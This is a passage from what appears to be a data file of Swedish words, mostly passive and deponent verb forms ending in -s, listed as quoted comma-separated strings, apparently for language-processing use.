","inpräglats","inpräntades","inpräntas","inpräntats","inprogrammerats","inräknades","inräknas","inräknats","inramades","inramas","inramats","inrangeras","inrangerats","inrapporterades","inrapporteras","inrapporterats","inrättades","inrättas","inrättats","inredas","inreddes","inreds","inregistrerades","inregistreras","inregistrerats","inretts","inriktades","inriktas","inriktats","inringas","inristats","inrymdes","inrymmas","inryms","inrymts","insågs","insamlades","insamlas","insamlats","insänts","insättas","insattes","insatts","inseminerades","insemineras","inses","insinueras","insinuerats","insisteras","inskaffades","inskärpas","inskärptes","inskeppades","inskjutas","inskolas","inskränkas","inskränks","inskränktes","inskränkts","inskrevs","inskrivas","insöndras","insorteras","inspärras","inspekterades","inspekteras","inspekterats","inspelats","inspirationsgivs","inspirerades","inspireras","inspirerats","inställas","inställdes","installerades","installeras","installerats","inställs","inställts","instängas","instiftades","instiftas","instiftats","institutionaliserades","institutionaliseras","instruerades","instrueras","instruerats","instrumentaliseras","insvepas","insveps","insveptes","insvepts","intagas","intagits","intalleras","intas","intecknades","intecknas","intecknats","integrerades","integreras","integrerats","intellektualiseras","intellektualiserats","intensifierades","intensifieras","intensifierats","interfolierades","interfolieras","interfolierats","internationales","internationaliserades","internationaliseras","internationaliserats","internerades","interneras","internerats","internrekryterats","internutbildas","interpelleras","interpunkterades","intervjuades","intervjuas","intervjuats","intevjuas","intimiseras","intimiserats","intjänas","intogs","intressestyras","intrigeras","introducerades","introduceras","introducerats","intvingas","intygades","intygas","invaderades","invaderas","invaderats","invaggades","invaggas","invaggats","invaldes","invalidiserades","invalidiseras","invalidiserats","inväljas","inväljs","invalts","invändas","invandrades","inväntades","inväntas","invecklas","inventeras","inventerats","investerades","investeras","investerats","invigas","invigdes","invigs","inviskas","inviteras","inviterats","invlades","involverades","involveras","involverats","inympas","inympats","iordningsställts","iordningställas","iordningställdes","iordningställs","iordningställts","irriterades","irriteras","irriterats","isades","isas","iscensättas","iscensattes","iscensatts","iscensätts","isolerades","isoleras","isolerats","iståndsätts","ives","jagades","jagas","jagats","jäktas","jamas","jämföras","jämfördes","jämförs","jämförts","jämkades","jämkas","jämnades","jämnas","jämnats","jämnsides","jämnställs","jämställas","jämställdes","jämställes","jämställs","jämställts","järfällas","järnberikats","järnvägsgods","järvas","jäs","jäses","jävas","jävats","jävlas","jävlats","jayhawkes","jenufas","jesses","jippofieras","jobbades","jobbas","jobbats","jonglerades","jonhälls","joniseras","joniserats","jordbegravas","jordfästas","jordfästes","jordgas","journalföras","journalistbas","jublades","jublas","jublats","juckas","julas","justerades","justeras","justerats","kabilas","kablades","kablas","kablats","kacklades","kåges","käkopererats","kalätas","kalfatras","kalhöggs","kalkades","kalkas","kalkats","kalkylerades","kalkyleras","kalkylerats","kallades","kallas","kallats","kallistenes","kallpressas","kallrökas","kallrökts","källsorteras","kallsvettades","kallsvettas","kambodjas","kammades","kammas","kammats","kamouflagemålats","kamoufleras","kämpas","kanaliserades","kanaliseras","kanaliserats","kånkades","kånkas","kånkats","känndes","kännetecknades","kännetecknas","kännetecknats","kännts","kanoniserades","kanoniseras","käns","kantades","kantas","kantats","kantfållas","kantställas","kapades","kapas","kapats","kapitaliseras","kappades","kappseglas","kapslades","kapslas","kapslats","karaktäriserades","karaktäriseras","karaktäriserats","karakteriserades","karakteriseras","karakteriserats","karikeras","kärnades","kärnats","kartlades","kartläggas","kartläggs","kartlagts","karvas","kasserades","kasseras","kasserats","kastades","kastas","kastats","kastreras","kastrerats","katalas","katalogiseras","katalogiserats","kategoriseras","kategoriserats","kattas","kavlades","kavlas","keats","kedjades","kedjats","keldereks","kemtvättas","keynes","kickades","kickats","kidnappades","kidnappas","kidnappats","kikås","kilades","kilas","killas","kindpussas","kinshasas","kissas","kittades","kittlades","kittlas","klaas","kläckas","kläckningsplats","kläcks","kläcktes","kläckts","klädas","kladdades","kladdas","kladdats","kläddes","kläds","klagades","klagas","klagats","klämdes","klämmas","kläms","klämtas","klämts","klandrades","klandras","klandrats","klankas","klappades","klappas","klarades","klaras","klarats","klargjordes","klargjorts","klargöras","klargörs","klarlades","klarläggas","klarläggs","klarlagts","kläs","klassades","klassas","klassats","klassificerades","klassificeras","klassificerats","klättrades","klättras","klätts","klemas","kletas","kletats","klias","klickas","klimpades","klippas","klipps","klipptes","klippts","klipsades","klistrades","klistras","klistrats","klockades","klockas","klockats","klonas","klonats","kloreras","klorgas","klös","klösts","klottras","klottrats","klövs","klubbades","klubbas","klubbats","klubbhus","kluddats","klumpades","klumpas","kluvits","klyftas","klyvas","klyvs","klyvts","knackades","knäckas","knackats","knäcks","knäcktes","knäckts","knådas","knådats","knallas","knäopereras","knåpades","knåpas","knäppas","knäpps","knäpptes","knarkas","knas","knäsattes","knäsatts","kneps","knipas","knips","knivdödades","knivdödas","knivhöggs","knivhotas","knivhuggits","knivhuggs","knivmördades","knivskars","knivskärs","knockades","knockas","knockats","knölades","knopas","knorrades","knorras","knöts","knottrades","knuckles","knuffades","knuffas","knuffats","knusslades","knutits","knycklas","knycktes","knypplats","knystas","knytas","knyts","köas","kodas","kodats","kodifieras","kodifierats","kokades","kokas","kokats","kolgrillas","kollades","kollas","kollats","kollektivansluts","kolles","kolonialiseras","koloniserades","koloniseras","koloniserats","koloreras","kombinerades","kombineras","kombinerats","kommenderades","kommenderas","kommenderats","kommenterades","kommenteras","kommenterats","kommersialiseras","kommersialiserats","kommits","kommunaliserades","kommunaliseras","kommuniceras","kommunplacerades","kompades","kompas","kompenserades","kompenseras","kompenserats","kompetensutvecklas","komplettaras","kompletterades","kompletteras","kompletterats","komplicerades","kompliceras","komplicerats","komponerades","komponeras","komponerats","komposterades","komposteras","komposterats","komprimeras","komprimissas","komprometterats","kompromissas","kompromissats","könas","koncenteras","koncenterats","koncentreades","koncentrerades","koncentreras","koncentrerats","koncipierades","koncipieras","koncipierats","kondenserades","kondenseras","konditionstestas","konfektioneras","konfirmerades","konfirmeras","konfirmerats","konfiskerades","konfiskeras","konfiskerats","konfronterades","konfronteras","konfronterats","kongeliges","konkretiserades","konkretiseras","konkretiserats","konkurrensutsättas","konkurrensutsattes","konkurrensutsatts","konkurrerades","konkurreras","konkurrerats","konserverades","konserveras","konserverats","könskvoteras","könskvoterats","konsoliderades","konsolideras","konsoliderats","konspirerades","konstaterades","konstateras","konstaterats","konstgods","konstigtueras","konstituerades","konstitueras","konstmanifesteras","konstruerades","konstrueras","konstruerats","konsulterades","konsulteras","konsulterats","konsumerades","konsumeras","konsumerats","kontaktades","kontaktas","kontaktats","konterfejas","kontinentaliserats","kontollerats","kontrakteras","kontrakterats","kontras","kontrasterades","kontrasteras","kontrollerades","kontrolleras","kontrollerats","kontrollvägdes","kontrollvägts","konverteras","koordinerades","koordineras","köpas","kopierades","kopieras","kopierats","köplats","kopplades","kopplas","kopplats","köprekommenderades","köps","köptes","köpts","kopuleras","korades","koras","köras","korats","kördes","koreograferats","köres","korkades","korkas","korngolds","korporativiserats","korrekturläses","korreleras","korrigerades","korrigeras","korrigerats","korrumperas","korrumperats","körs","korsades","korsas","korsats","korsfästas","korsfästes","korsfästs","kortades","kortas","kortats","körts","kortslöts","kortsluts","korvas","kosroes","kostas","kostaterades","kostnadsberäknades","kostnadsberäknas","kostnadsberäknats","kostnadsföras","kotrollvägdes","kovacs","krackeleras","kramades","kramas","kramats","kramkalas","krängdes","krånglats","krängts","kränkas","kränks","kränktes","kränkts","kransats","krattas","krävas","krävdes","kräves","krävs","krävts","kreerades","kremerades","kremeras","kretsloppsanpassas","krigsplaceras","kriminaliserades","kriminaliseras","kringgärdades","kringgärdas","kringgås","kringgåtts","kringgicks","kringgjutits","kringränts","kringskäras","kringskars","kringvärvs","kristalliserades","kristalliseras","kristnades","kritas","kritiserades","kritiseras","kritiserats","krockades","krockprovas","krokades","krökas","krokats","kröks","kröktes","krönas","krönes","kröns","kröntes","krönts","kroppsvisiterades","kroppsvisiteras","krossades","krossas","krossats","krusades","krusas","kryddades","kryddas","kryddats","krympas","krymps","krymptes","krympts","krypteras","krypterats","krypts","kryssas","kryssats","kryssgarderas","kubbas","kuggades","kuggas","kullas","kullkastas","kultiveras","kultiverats","kulturminnesmärkas","kulturminnesskyddats","kulturprofileras","kulverteras","kulverterats","kumquats","kundanpassas","kundbas","kundes","kungjordes","kungjorts","kungörs","kunnas","kupades","kuperas","kuppats","kureras","kursas","kursras","kuvas","kuvats","kvackas","kvaddades","kvaddats","kvalificeras","kvalitetsäkras","kvalitetsprövats","kvalitetssäkras","kvalitetssäkrats","kvalitetsutbildats","kväljdes","kvällades","kvalplats","kvantifieras","kvarhållas","kvarhållits","kvarhålls","kvarhölls","kväsas","kvästes","kvävas","kvävdes","kvävs","kvinnoplats","kvittas","kvittats","kvitterades","kvitteras","kvotbelades","kvoteras","kvoterats","kylas","kyldes","kyls","kylts","kyssas","kysstes","laborades","laboreras","lackeras","lackerats","läcks","läckts","laddades","laddas","laddats","lades","lafis","lagades","lagas","lagats","lagerhållas","lagfästes","lagfästs","lagföras","lagfördes","läggas","lägges","lägggas","läggs","lagrades","lagrådsremitteras","lagras","lagrats","lagregleras","lagstadgades","lagstiftas","lagtrots","lågtrycksgjuts","lagts","läkarundersökas","läkarundersöktes","lakas","läkas","lakats","läks","läktes","läktrats","läkts","lambrecks","lamineras","lämnades","lämnas","lämnats","lämpades","lämpas","lämpats","lamslagits","lamslås","lamslogs","lånades","lånas","lånats","lanceras","landades","landsattes","landsatts","landsförvisades","landsförvisas","landsförvisats","lånefinansieras","langades","langas","långås","långsits","långtidslagras","långtidsparkerades","långtidsskolats","längts","languages","länkades","länkas","länkats","länsades","länsas","länsats","lanserades","lanseras","lanserats","lansertas","länspumpas","lapas","lappades","lappas","lappats","läras","lärdes","larmades","larmas","larmats","lärs","larses","lårskadades","lärts","las","lås","läs","låsas","läsas","laserats","låses","läses","lassades","lassas","låssas","lassats","låssats","lastades","lastas","lastats","låstes","lästes","låsts","lästs","låtits","lättades","lättas","lättats","läxats","leasades","leasas","leasats","ledas","leddes","ledes","ledigförklarades","ledigförklaras","ledigförklarats","leds","ledsagades","ledsagas","legalförskrevs","legaliserades","legaliseras","legaliserats","legeras","legitimerades","legitimeras","legitimerats","lekas","leks","lektes","lemlästades","lemlästas","lemlästats","lemströms","lenas","letades","letas","letats","letts","levandegörs","levas","levdes","leverades","leveraras","levererades","levereras","levererats","levertransplanteras","leves","levs","levts","lfinns","liberaliseras","liberaliserats","licensbryggs","licenserats","licenstillverkats","lidas","lidits","likformas","liknades","liknas","liknats","likställas","likställdes","likställs","likviderades","likvideras","limmades","limmas","limmats","lindades","lindas","lindats","lindrades","lindras","lindrats","linjeras","linoljebränns","lipas","lirades","liras","lirkas","lirkats","listades","listas","listats","livades","livas","lives","livnärs","livstidsförlängdes","ljögs","ljudas","ljudisoleras","ljugas","ljugs","ljummades","ljummas","ljumskskadades","ljussatts","lockades","lockas","lockats","lockoutas","lodas","lödas","löds","loggas","logothetis","logrones","lokaliserades","lokaliseras","lokaliserats","lomas","lönades","lönas","lönediskrimineras","lönediskriminerats","löneras","lönesättas","longeras","lönnbrännes","loopas","loopats","loosegoats","löpas","löps","lösas","löses","lösgivas","lösgjordes","lösgjorts","lösgöras","lösgöres","lösgörs","lossades","lossas","lossats","löstes","lösts","lotsades","lotsas","lotsats","lottades","lottas","lottats","lovades","lövades","lovas","lövas","lovats","lövats","lovordades","lovordas","lovordats","lovprisades","lovprisas","lovsjungits","lovsjungs","luckrades","luckras","luckrats","luftades","luftas","luftats","luftlandsattes","lugnades","lugnas","lukkes","lurades","luras","lurats","lusläses","luslästes","lussas","lutades","lutas","luttras","luttrats","lyckes","lyckets","lyckönskas","lycksönskades","lycktas","lydas","lyddes","lyftas","lyftes","lyfts","lynchades","lynchats","lys","lysas","lyses","lyss","lyssnas","lystes","lysts","lyxrenoveras","lyxsanerades","lyxsaneras","lyxsanerats","macoutes","måddes","mades","magallanes","magasinerades","magasineras","magasinerats","magpumpas","magpumpats","magras","majos","mäklades","makulerades","makuleras","målades","malas","målas","målats","malbas","målbestäms","maldes","mals","malts","mammograferats","manades","manas","månas","manats","mångdubblades","mångdubblas","mångdubblats","mångfaldigades","mångfaldigas","mångfaldigats","manglades","manglas","manglats","månglats","manifesterades","manifesteras","manifesterats","manipulerades","manipuleras","manipulerats","manövrerades","manövreras","manövrerats","mantalskrivas","mantalsskrivas","marantas","marginaliserades","marginaliseras","marginaliserats","marineras","marinerats","märkas","markerades","markeras","markerats","märkes","markets","markledes","marknadsanpassas","marknadsföras","marknadsfördes","marknadsförs","marknadsförts","marknadsintroducerades","märks","märktes","märkts","markurells","marples","marterades","martikas","mås","maskas","maskerades","maskeras","maskerats","maskintvättas","maskinveks","massakrerades","massakreras","mässas","masserades","masseras","massproduceras","masstillverkas","mastas","mästras","matades","matas","mätas","matats","matchades","matchas","matchats","matchinsats","materialiserades","materialiseras","materialiserats","mätes","matplats","mäts","mattades","mattas","måttas","mättas","mattats","mättats","mättes","mätts","matutes","maximeras","medagerandes","medaljeras","medaljhyllades","meddelades","meddelas","meddelats","medfinansieras","medföras","medfördes","medföres","medförs","medgavs","medges","medgivits","medhavas","medialiserats","medicineras","medicinerats","medikaliserades","medlas","medräknas","medtagas","medtages","medtas","medtogs","medvetandegöras","mefistofeles","mejades","mejas","mejats","mejslades","mekaniserats","memoreras","menades","menas","mennas","meritvärderas","mestadelas","metroiseras","midas","mikrats","mikrofilmades","mikrofilmas","mildrades","mildras","mildrats","miles","militariserades","militariseras","militariserats","miljöanpassas","miljöcertifierats","miljödeklareras","miljögranskats","miljöklassas","miljömärkas","miljömärkts","miljöprövas","miljöskyddas","mills","mimades","mimas","mineraliseras","mineras","minerats","minglats","minimerades","minimeras","minimerats","minnns","minskades","minskas","minskats","minsprängdes","minutes","misbruges","missades","missas","missats","missbrukades","missbrukas","missbrukats","missfärgas","missförstås","missförståtts","missförstods","missgynnades","missgynnas","missgynnats","misshandlades","misshandlas","misshandlats","misshushållas","missköts","misskötts","misskrediterades","missledas","missletts","misssgynnas","misssköts","misstänkas","misstänkliggjordes","misstänkliggöras","misstänkliggörs","misstänks","misstänktes","misstänkts","misstas","misstolkas","misstolkats","misstroddes","misstros","misstydas","missunnnas","missupfattas","missuppattades","missuppfattades","missuppfattas","missuppfattats","mixas","mjölkades","mjölkas","mjukades","mjukas","mjukats","mjukpressats","mobbades","mobbas","mobbats","mobiliserades","mobiliseras","mobiliserats","möblerades","möbleras","möblerats","mockades","modeinitierades","moderninserats","moderniserades","moderniseras","moderniserats","modifierades","modifieras","modifierats","mognadslagras","mogulrikets","möjas","möjliggjordes","möjliggjorts","möjliggöras","möjliggörs","möjligjorts","momsbefrias","momsbeläggas","momsbeläggs","momsbelagts","mondes","monkees","monograferats","monopoliseras","monopoliserats","monsterras","mönsterskyddats","mönstrades","mönstras","mönstrats","monterades","monteras","monterats","monumentaliseras","moraliseras","mörbultats","mördades","mördas","mördats","mordhotades","mordhotats","mörkas","mörklades","mörkläggas","mörkläggs","mörklagts","morrades","morras","mortuis","mosades","mosas","motades","motarbetades","motarbetas","motarbetats","motas","motats","motbevisas","motionerades","motioneras","motiverades","motiveras","motiverats","motoriseras","motsades","motsägas","motsäges","motsägs","motsagts","motstås","motsvarades","motsvaras","motsvarats","mottagas","mottages","mottagits","mottas","mottogs","motverkades","motverkas","motverkats","muddras","multipliceras","mulugetas","mumifieras","mumifierats","mumlades","mumlas","mumlats","mungnabbas","munhöggs","munhuggas","munhuggs","murades","muras","murats","musicerades","musiceras","mutades","mutas","mutats","muttrades","muttras","muttrats","mutts","muzungos","myers","myglades","myndigförklaras","myndighetsförklarats","myntades","myntas","myntats","mysas","mystifieras","mystifierats","mytifieras","nackas","nádas","nåddes","nådes","nafsades","nagelfaras","nagelfarits","nagelfars","nagelfors","naggades","naggas","naggats","naglades","naglas","nålas","nålats","namnades","nämnas","nämndes","nämnes","namngavs","namnges","namngetts","namngivits","nämns","namnskyddas","nämnts","näms","nämts","nändes","nännas","nänns","näns","nänts","näpsas","näras","närdes","näres","närmas","narracotts","narrades","narras","narrats","närs","närts","nas","nås","nasas","nästas","nationaliserades","nationaliseras","nationaliserats","natoanpassas","natofieras","nattas","nåtts","nattstädas","nattstängs","naturaliseras","naturligtivs","navotas","nedbringas","nedbringats","nedbrytas","nedflyttningsplats","nedgjordes","nedgraderas","nedkämpas","nedkämpats","nedlades","nedläggas","nedlagts","nedmonterades","nedmonteras","nedrangeras","nedreviderades","nedreviderats","nedrustas","nedsättas","nedsätts","nedsköljes","nedskrivas","nedslås","nedtecknades","nedtecknats","nedtynges","nedtystas","nedvärderas","nedvärderats","negeras","negligeras","negligerats","nekades","nekas","nekats","nerslås","nettoamorteras","nettoexporterades","nettoköptes","nettoköpts","nettosåldes","nettosålts","neurosedynskadades","neutraliserades","neutraliseras","neutraliserats","nickades","nickas","nitas","nivågrupperas","njutas","njutes","njuts","nobbades","nobbas","nobbats","nobelprisförbigåtts","nödbromsas","nödgades","nödgats","nödsakats","nödslaktades","nödslaktas","nödslaktats","nödstoppades","nödvändiggjordes","nollades","nollställas","nollställs","nollställts","nolltaxeras","nominerades","nomineras","nominerats","noms","nonchalerades","nonchaleras","nonchalerats","nordstedts","normalförklaras","normaliserades","normaliseras","normaliserats","nös","nötas","noterades","noteras","noterats","noteringsstoppades","nöts","nöttes","nötts","nuddas","numererats","numreras","numrerats","nuvärdeberäknas","nuvärdeberäknats","nuvärdesberäknas","nyanlagts","nyanmäldes","nyanserades","nyanseras","nyanserats","nyanställas","nyanställdes","nyanställs","nyanställts","nybeställas","nybyggas","nydanades","nyemitteras","nyetableras","nygestaltades","nyindustrialiseras","nyinvandrades","nyinvigts","nykryddats","nynnades","nynnas","nyordnas","nyorienteras","nyöversattes","nyöversatts","nyplanterades","nyprövas","nyps","nyrekryteras","nyritades","nyskapas","nystades","nystas","nystats","nytillverkas","nytolkas","nytrycktes","nyttjades","nyttjas","nyttjats","nyutexamineras","nyutgavs","nyvaldes","nyväljs","oakes","oates","obducerades","obduceras","obducerats","obligationsras","obs","observerades","observeras","observerats","ocksåses","ocksåstärkts","ocksåtas","ockuperades","ockuperas","ockuperats","ödas","ödelades","ödeläggas","ödeläggs","ödelagts","odlades","odlas","odlats","odödligförklarats","odödliggjordes","ödslas","ödslats","odugligförklarats","odyssevs","offentliggjordes","offentliggjorts","offentliggöras","offentliggörs","offereras","offererats","offetliggjordes","offrades","offras","offrats","ofredas","ogilitigförklaras","ogillades","ogillas","ogillats","ogiltigförklarades","ogiltigförklaras","ogiltigförklarats","öis","ojades","ojas","ökades","ökas","ökats","olagligförklaras","olagligförklarats","olas","olåtandes","oliktänkades","oljas","oljats","olövanes","olyckas","olycksfallsförsäkras","omarbetades","omarbetas","omarbetats","ombads","ombedas","ombedes","ombeds","ombes","ombesörjas","ombesörjdes","ombesörjs","ombesörjts","ombetts","ombildades","ombildas","ombildats","omdanades","omdanas","omdanats","omdaterats","omdefinieras","omdirigerades","omdirigeras","omdirigerats","omdisponeras","omdöpas","omdöps","omfamnades","omfamnas","omfatas","omfattades","omfattas","omfattats","omfatttas","omflytes","omfördelades","omfördelas","omfördelats","omförhandlades","omförhandlas","omförhandlats","omformades","omformas","omformulerades","omformuleras","omgärdades","omgärdas","omgärdats","omgavs","omges","omgestaltades","omgestaltas","omgestaltats","omgetts","omgivits","omgrupperas","omhäktades","omhändertagas","omhändertagits","omhändertas","omhändertogs","omhuldades","omhuldas","omhuldats","omintetgjordes","omintetgjorts","omintetgöras","omintetgörs","omisoleras","ömkas","omlokaliseras","ommöbleras","omnamnades","omnämnas","omnämndes","omnämns","omnämnts","omöjliggjordes","omöjliggjorts","omöjliggöras","omöjliggöres","omöjliggörs","omorganiserades","omorganiseras","omorganiserats","omorienteras","omplacerades","omplaceras","omplacerats","omplanteras","omprioriteras","omprogrammeras","omprövades","omprövas","omräknas","omramades","omregistreras","omringades","omringas","omritades","omröres","omsättas","omsattes","omsatts","omsätts","omskapades","omskapas","omskäras","omskolas","omskolats","omskrivas","omskrivits","omskrivs","omslingrades","omslöts","omslutas","omslutes","omsluts","omställas","omstöpas","omstöps","omstöpts","omstrukturerades","omstruktureras","omstrukturerats","omsusas","omsvärmades","omsvärmas","omtalades","omtalas","omtalats","omtöcknas","omtolkas","omvaldes","omväljas","omväljs","omvalts","omvändas","omvändes","omvandlades","omvandlas","omvandlats","omvänds","omvänts","omvärderades","omvärderas","omvärderats","omvittnades","omvittnas","omvittnats","omyndigförklaras","omyndigförklarats","onderwijs","onödiggöras","önskades","önskas","operades","opererades","opereras","opererats","öppnades","öppnas","öppnats","optimeras","ordas","ordats","ordinerades","ordineras","ordinerats","ordnades","ordnas","ordnats","oreras","orerats","organiserades","organiseras","organiserats","orienteras","orienterats","oroades","oroas","oroats","öronklippas","öronmärkas","öronmärks","öronmärktes","öronmärkts","örontisslas","orsakades","orsakas","orsakats","orsaksförklaras","ortelgas","ös","osäkras","ösas","oscarnominerades","oskadliggjordes","oskadliggöras","oskadliggörs","oskarsnominerats","östbergas","östes","ostgratinerats","östrogenbehandlas","östs","osynliggjorts","osynliggöras","osynliggörs","övades","övas","övats","öveföres","överanvänds","överarbetas","överås","överbefolkas","överbejakas","överbelastades","överbelastas","överbeskattas","överbetonades","överbetonats","överbevisades","överbevisas","överbevisats","överblickas","överbryggas","överdäckas","överdebiterats","överdimensionerats","överdoseras","överdramatiseras","överdrevs","överdrivas","överdrivits","överdrivs","överdrogs","överenskommits","överenskoms","överexponeras","överexponerats","överfallas","överfallits","överfalls","överflödades","överflyglades","överflyglas","överflyttades","överflyttas","överfölls","överföras","överfördes","överförs","överförts","överfyllas","övergavs","överges","övergetts","övergivas","övergivits","överglänses","överglänstes","övergöts","överhettades","överhettas","överinskrivas","överklagades","överklagas","överklagats","överklistras","överkompenseras","överlagras","överlämnades","överlämnas","överlämnats","överlappas","överlåtas","överlåtits","överlåts","överläts","överlevas","överlistas","övermannades","övermannas","övermannats","övermättas","överordnas","överös","överösas","överöses","överöstes","överösts","överprocuderas","överprövas","överprövats","överpudras","överräcks","överräcktes","överraskades","överraskas","överraskats","överröstades","överröstas","överrumplades","överrumplas","överrumplats","översändas","översändes","översänts","översättas","översattes","översatts","översätts","överskattades","överskattas","överskattats","översköljas","översköljs","översköljts","överskreds","överskridas","överskridits","överskrids","överskuggades","överskuggas","överskuggats","överspolas","överstigas","överstigs","överstimuleras","översvämmades","översvämmas","översvämmats","övertäckas","övertäcks","övertäcktes","övertages","övertagits","övertalades","övertalas","övertalats","övertas","övertecknades","övertecknas","övertecknats","övertogs","övertolkas","övertolkats","överträdas","överträdes","överträffades","överträffas","överträffats","övertrasserades","övertrasseras","övertrumfas","övertygades","övertygas","övertygats","överutnyttjades","överutnyttjas","övervägas","övervägdes","övervägs","övervägts","övervakades","övervakas","övervakats","överväldigades","överväldigas","överväldigats","övervältras","övervämmas","övervärderas","övervärderats","övervinnas","övervinns","övervintras","övervunnits","oxideras","påannonserades","påannonseras","påbjöds","påbjudes","påbjudits","påbjuds","påbörjades","påbörjas","påbörjats","pacificeras","packades","packas","packats","pådyvlades","pådyvlas","påfodras","påföras","påförs","påförts","påfrestas","påhejas","påkallas","påkallats","paketeras","paketerats","påkördes","påläggas","påläggs","pålagts","pålas","pålats","pallas","pallats","palmas","påmindes","påminnas","påminns","påmints","paneras","pangas","pantas","pantsattes","pånyttfödas","påområdes","påpekades","påpekas","påpekats","påprackas","parades","paraferades","påräknas","parallellkopplades","parallellkopplas","paralyseras","paralyserats","paras","parats","pareras","parkerades","parkeras","parkerats","parodieras","parras","parsas","påskrivs","påskyndades","påskyndas","påskyndats","passades","passas","passats","passerades","passeras","passerats","passglas","passiviseras","påstås","påståtts","pasteuriserades","pastischeras","påstods","pastöriseras","pastöriserats","påtalades","påtalas","påtalats","patentbeläggs","patenteras","patenterats","påträffades","påträffas","påträffats","patrokles","patrullerades","patrulleras","patrullerats","pats","påtvingades","påtvingas","påtvingats","påverkades","påverkanmotarbetades","påverkas","påverkats","påvisades","påvisas","påvisats","payrolls","pejlas","pekades","pekas","pekats","pelleas","pendlades","penetrerades","penetreras","penetrerats","pensionerades","pensioneras","pensionerats","penslas","peppades","peppas","peppras","peps","perforerades","perforeras","permanentades","permanentas","permanentats","permitteras","permitterats","perriéres","persenteras","personalförsörjs","personifierades","personifieras","personkontrolleras","personröstas","perverteras","pessoas","pestas","pestsmittades","petades","petas","petats","pharmacias","philos","piffades","piffas","piggats","pihelgas","pilats","pillas","pillras","pinades","pinas","pinats","pints","pips","piskades","piskas","piskats","pizzasås","pjoskades","placerades","placeras","placerats","pladdrats","plågades","plågas","plågats","plagieras","plagierats","plånades","planas","plånas","planats","plånats","planerades","planeras","planerats","plankades","plankas","planlades","planläggs","planlagts","planterades","planteras","planterats","plastades","plastas","plåstras","plåstrats","plåtas","platsbyggdes","plattades","plattats","plockades","plockas","plockats","plogades","plogas","plogats","plöjas","plöjdes","plöjs","plöjts","plomberades","plomberas","plomberats","plottats","plottras","plottrats","pluggas","plundrades","plundras","plundrats","plussades","plussas","plussats","plutades","poängbedöms","poängsättas","poängsattes","poängsatts","poängsätts","poängterades","poängteras","poängterats","poängvärderas","pocahontas","pocheras","pockas","pokuleras","polariserades","polariseras","polariserats","polerades","poleras","polerats","polinas","polisanmälas","polisanmäldes","polisanmäls","polisanmälts","politiserades","politiseras","politiserats","polydamas","polymeras","poneras","populariserats","portades","portas","portförbjudas","portförbjudits","portionerades","portioneras","porträtteras","porträtterats","porträttrades","portugaliseras","positioneras","postades","postas","postats","posterades","poststämplades","postuleras","prackats","präglades","präglas","präglats","praktiserades","praktiseras","praktiserats","prånglades","prånglats","präntades","präntas","prasslas","prästvigas","prästvigdes","prästvigs","prästvigts","pratades","pratas","pratats","preciserades","preciseras","preciserats","precisionsstyras","predestineras","predikades","predikas","predikats","prefabriceras","prejas","premiärprövades","premiärsändes","premiäruppförs","premiärutdelas","premiärvisades","premiärvisas","premiärvisats","premierades","premieras","premierats","prepareras","preparerats","presenterades","presenteras","presenterats","presenteres","preskriberas","preskriberats","pressades","pressas","pressats","prestenteras","presterades","presteras","presterats","prices","prickades","prickas","prickats","pricktestades","primärnoterats","printas","prioriterades","prioriteras","prioriterats","pripps","prisades","prisas","prisats","prisbelönades","prisbelönas","prisbelönats","prissättas","prissätts","privatimporterades","privatimporterats","privatiserades","privatiseras","privatiserats","problematiseras","problematiserats","proceedings","processas","processats","prodotes","producerades","produceras","producerats","profaneras","professionaliserades","professionaliseras","profeterats","proffsförklarades","profilerades","profileras","prognosticerades","prognostiseras","programmerades","programmeras","projekterades","projekteras","projicerades","projiceras","projicerats","pröjts","proklamerades","proklameras","proklamerats","proletariseras","prolongerades","prolongeras","promenerades","promeneras","promoverades","promoveras","promoverats","propagerades","propageras","propangas","proportioneras","proppades","proppas","prosperas","prostituerades","protokollfördes","provades","prövades","provas","prövas","provats","prövats","provbyggs","provflugits","provfotograferas","provköras","provkördes","provkörs","provmålats","provmäts","provocerades","provoceras","provocerats","provsås","provsittas","provsmakades","provsmakas","provtagas","prsenterats","prutades","prutas","prutats","pryddes","pryds","pryglas","prytts","pseudomonas","publicerades","publiceras","publicerats","publiserades","pudrats","puffas","pulvriserades","pulvriserats","pumpades","pumpas","pumpats","pundits","punktades","punkterades","punkteras","punkterats","punktmarkerats","purprades","pussades","pussas","pussats","pusslades","pusslas","pustas","putsades","putsas","putsats","puttades","puttas","puttats","puttrades","pyntas","pyntats","pysslades","pysslas","pytsas","pytsats","rabatteras","rabblas","räckes","räcktes","räckts","radades","radas","rådas","radats","räddades","räddas","räddats","råddes","raderades","raderas","raderats","rädes","rådfrågats","radiaksmittades","radikaliserades","radikaliseras","radikaliserats","radonsanerats","råds","raffineras","raffinerats","rafsas","raggades","raggats","raggefanns","rakades","rakas","rakats","råknas","raljerades","raljeras","ramades","ramas","ramats","rammades","rammas","rånades","rånas","rånats","rändes","rangeras","rangordnades","rangordnas","rankades","rankas","rankats","rankingras","rannsakades","rannsakas","rannsakats","ransonerades","ransoneras","rapporterades","rapporteras","rapporterats","rasas","raserades","raseras","raserats","rasslades","rastas","ratades","rätades","ratas","rätas","ratatas","ratats","rätats","ratificerades","ratificeras","ratificerats","ratifieras","rationaliseras","rationaliserats","rattades","rättades","rättas","rättats","ravennas","reades","readymades","reageras","reaktiveras","realiserades","realiseras","realiserats","reas","reavinstbeskattas","rebbes","recenserades","recenseras","recenserats","reciteras","redas","redbergslids","reddes","redigerades","redigeras","redigerats","redogjordes","redogjorts","redogörs","redovisades","redovisas","redovisats","reds","reducerades","reduceras","reducerats","refererades","refereras","refererats","reflekterades","reflekteras","reflexräddades","reformerades","reformeras","reformerats","refuserades","refuseras","refuserats","regelsattes","regenereras","regerades","regeras","regerats","regeringsbehandlas","regisserades","regisseras","regisserats","registeras","registerkontrolleras","registrerades","registreras","registrerats","registreringsbesiktigas","reglats","reglerades","regleras","reglerats","regummeras","rehabiliterades","rehabiliteras","rehabiliterats","reintegreras","reinvesteras","rekapituleras","rekatolicerades","reklamas","reklamerades","reklameras","reklamfinansieras","reklamplats","reklamspots","rekommederas","rekommenderades","rekommenderas","rekommenderats","rekommeneras","rekonstruerades","rekonstrueras","rekonstruerats","rekontextualiseras","rekryterades","rekryteras","rekryterats","rekryteringsbas","rekvierades","rekvirerades","rekvireras","rekvirerats","relanserades","relaterades","relateras","relaterats","relativiserades","relativiseras","relegerades","relegeras","relegerats","remissbehandlades","remissbehandlas","remissbehandlats","remitterades","remitteras","remitterats","remixas","renas","renats","rengjordes","rengjorts","rengöras","rengörs","rennes","renodlades","renodlas","renodlats","renoverades","renoveras","renoverats","renrakats","rensades","rensas","rensats","renskrapas","renskrivas","rentvås","reopererades"